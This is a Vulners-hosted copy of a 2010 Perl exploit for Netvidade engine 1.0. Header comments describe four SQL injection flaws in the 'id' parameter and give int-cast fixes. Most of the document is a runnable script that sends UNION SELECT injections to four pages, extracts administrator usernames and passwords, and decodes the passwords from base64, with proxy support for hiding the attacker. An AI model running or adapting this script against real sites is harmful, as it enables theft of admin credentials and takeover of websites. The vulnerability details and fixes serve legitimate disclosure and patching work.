Vulners
Lucene search
Netvidade engine 1.0 - Multiple Vulnerabilities
#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;
use Getopt::Long;
use MIME::Base64;
# \#'#/
# (-.-)
# ----------------------oOO---(_)---OOo----------------------
# | __ __ |
# | _____/ /_____ ______/ /_ __ ______ ______ |
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |
# | Security Research Division /____/ 2o1o |
# -----------------------------------------------------------
# | Netvidade engine v1.0 Multiple Vulnerabilities |
# -----------------------------------------------------------
# [!] Discovered by.: pwndomina
# [!] Vendor........: http://www.netvidade.com
# [!] Detected......: 15.04.2010
# [!] Reported......: 06.05.2010
# [!] Response......: xx.xx.2010
#
# [!] Bug...........: $_GET['id'] in webtemplate-categoria.php near line 6
#
# 3: if ($_GET['id']==0)
# 4: $lista_webtemp=$netvidade->lista_webtemp();
# 5: else
# 6: $lista_webtemp=$netvidade->lista_webtemp_categoria($_GET['id']);
#
# The function lista_webtemp_categoria() is in class/var/netvidade.class.php near line 212
#
# 212: function lista_webtemp_categoria($id)
# 213: {
# 214: $query="select a.*,b.id as categoria_id, b.titulo as categoria_nome from webtemplate a, webtemplate_categorias b where a.categoria=b.id AND a.categoria=$id";
# 215: $a=$this->CORE->db();
# 216: $res=$a->abrecursor($query);
# 217: return $res;
# 218: }
#
# [!] Bug...........: $_GET['id'] in concorrer.php near line 2
#
# 2: $lista_proposta=$recrutamento->lista_proposta($_GET['id']);
#
# The function lista_proposta() is in class/var/recrutamento.class.php near line 42
#
# 42: function lista_proposta($id)
# 43: {
# 44: $query="select * from recrutamento_propostas where id=$id";
# 45: $a=$this->CORE->db();
# 46: $res=$a->abrecursor($query);
# 47: return $res;
# 48: }
#
# [!] Bug...........: $_GET[id] in detalhe.php near line 6
#
# 6: $noticias=$a->lista_noticia_detalhe($_GET[id]);
#
# The function lista_noticia_detalhe() is in class/var/noticias.class.php near line 208
#
# 208: function lista_noticia_detalhe($id)
# 209: {
# 210: $query="
# 211: select a.*,b.id as categoria_id, b.titulo as categoria_nome, c.nome as autor_nome
# 212: from noticias a, noticias_categorias b, administradores c
# 213: where a.categoria=b.id and a.id=$id and a.autor=c.id and a.data_online <= NOW() and if(a.data_offline != '0000-00-00',a.data_offline > NOW(),1)
# 214: ";
# 215:
# 216: $a=$this->CORE->db();
# 217: $res=$a->abrecursor($query);
# 218: return $res;
# 219: }
#
# [!] Bug...........: $_GET[id] in newsletter_preview.php near line 6
#
# 6: $dados=$a->lista_newsletter($_GET[id]);
#
# The function lista_newsletter() is in class/var/newsletter.class.php near line 113
#
# 113: function lista_newsletter($id)
# 114: {
# 115: $query="select a.*,b.nome,c.corpo from newsletter a LEFT JOIN newsletter_corpo c ON a.id=c.id, newsletter_templates b where a.template=b.id and a.id=$id";
# 116: $a=$this->CORE->db();
# 117: $res=$a->abrecursor($query);
# 118: return $res;
# 119: }
#
# [!] Quick fix.....: in class/var/netvidade.class.php line 214
#
# - replace:
# $query="select a.*,b.id as categoria_id, b.titulo as categoria_nome from webtemplate a, webtemplate_categorias b where a.categoria=b.id AND a.categoria=$id";
#
# - with:
# $query="select a.*,b.id as categoria_id, b.titulo as categoria_nome from webtemplate a, webtemplate_categorias b where a.categoria=b.id AND a.categoria=".(int)$id;
#
# [!] Quick fix.....: in class/var/recrutamento.class.php line 44
#
# - replace:
# $query="select * from recrutamento_propostas where id=$id";
#
# - with:
# $query="select * from recrutamento_propostas where id=".(int)$id;
#
# [!] Quick fix.....: in class/var/noticias.class.php line 213
#
# - replace:
# where a.categoria=b.id and a.id=$id and a.autor=c.id and a.data_online <= NOW() and if(a.data_offline != '0000-00-00',a.data_offline > NOW(),1)
#
# - with:
# where a.categoria=b.id and a.id=".(int)$id." and a.autor=c.id and a.data_online <= NOW() and if(a.data_offline != '0000-00-00',a.data_offline > NOW(),1)
#
# [!] Quick fix.....: in class/var/newsletter.class.php line 115
#
# - replace:
# $query="select a.*,b.nome,c.corpo from newsletter a LEFT JOIN newsletter_corpo c ON a.id=c.id, newsletter_templates b where a.template=b.id and a.id=$id";
#
# - with:
# $query="select a.*,b.nome,c.corpo from newsletter a LEFT JOIN newsletter_corpo c ON a.id=c.id, newsletter_templates b where a.template=b.id and a.id=".(int)$id;
#
# [!] Greetings.....: cih.ms and phact.in
#
if(!$ARGV[3])
{
print "\n \\#'#/ ";
print "\n (-.-) ";
print "\n ---------------------oOO---(_)---OOo----------------------";
print "\n | Netvidade engine v1.0 Multiple Vulnerabilities Exploit |";
print "\n | discovered by pwndomina |";
print "\n | coded by DNX |";
print "\n ----------------------------------------------------------";
print "\n[!] Usage: perl netvidade.pl [Host] [Path] [Target] <Options>";
print "\n[!] Example: perl netvidade.pl www.host.com /path/ -t 3 -u 1";
print "\n[!] Targets:";
print "\n -t 1 webtemplate-categoria.php";
print "\n -t 2 concorrer.php";
print "\n -t 3 detalhe.php";
print "\n -t 4 newsletter_preview.php";
print "\n[!] Options:";
print "\n -u [no] User-Id";
print "\n -p [ip:port] Proxy support";
print "\n[!] Notes:";
print "\n For the targets 2, 3 & 4 you can use -u option.";
print "\n";
exit;
}
my %options = ();
GetOptions(\%options, "t=i", "u=i", "p=s");
my $ua = LWP::UserAgent->new();
my $host = $ARGV[0];
my $path = $ARGV[1];
my $target = "http://".$host.$path;
my $userid = "";
if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); }
if($options{"u"}) { $userid = "+where+id=".$options{"u"}; }
print "[!] Exploiting...\n\n";
if($options{"t"} == 1) { exploit1(); }
elsif($options{"t"} == 2) { exploit2(); }
elsif($options{"t"} == 3) { exploit3(); }
elsif($options{"t"} == 4) { exploit4(); }
print "\n[!] Exploit done\n";
sub exploit1
{
my $url = "http://".$host.$path."webtemplate-categoria.php?id=-1337+union+select+1,2,concat(0x23,0x23,username,0x23,password,0x23,0x23),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+administradores";
my $res = $ua->get($url);
check($res);
}
sub exploit2
{
my $url = "http://".$host.$path."concorrer.php?id=-1337+union+select+1,concat(0x23,0x23,username,0x23,password,0x23,0x23),3,4,5,6,7,8,9,10+from+administradores".$userid;
my $res = $ua->get($url);
check($res);
}
sub exploit3
{
my $url = "http://".$host.$path."detalhe.php?id=-1337+union+select+1,2,3,concat(0x23,0x23,username,0x23,password,0x23,0x23),5,6,7,8,9,10,11,12,13,14+from+administradores".$userid."/*";
my $res = $ua->get($url);
check($res);
}
sub exploit4
{
my $url = "http://".$host.$path."newsletter_preview.php?id=-1337+union+select+1,concat(0x23,0x23,username,0x23,password,0x23,0x23),3,4,5,6+from+administradores".$userid;
my $res = $ua->get($url);
check($res);
}
sub check
{
my $res = shift;
my $content = $res->content;
my @c = split(/\n/, $content);
foreach (@c)
{
if($_ =~ /##(.*?)#(.*?)##/)
{
print $1.":".decode_base64($2)."\n";
}
}
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1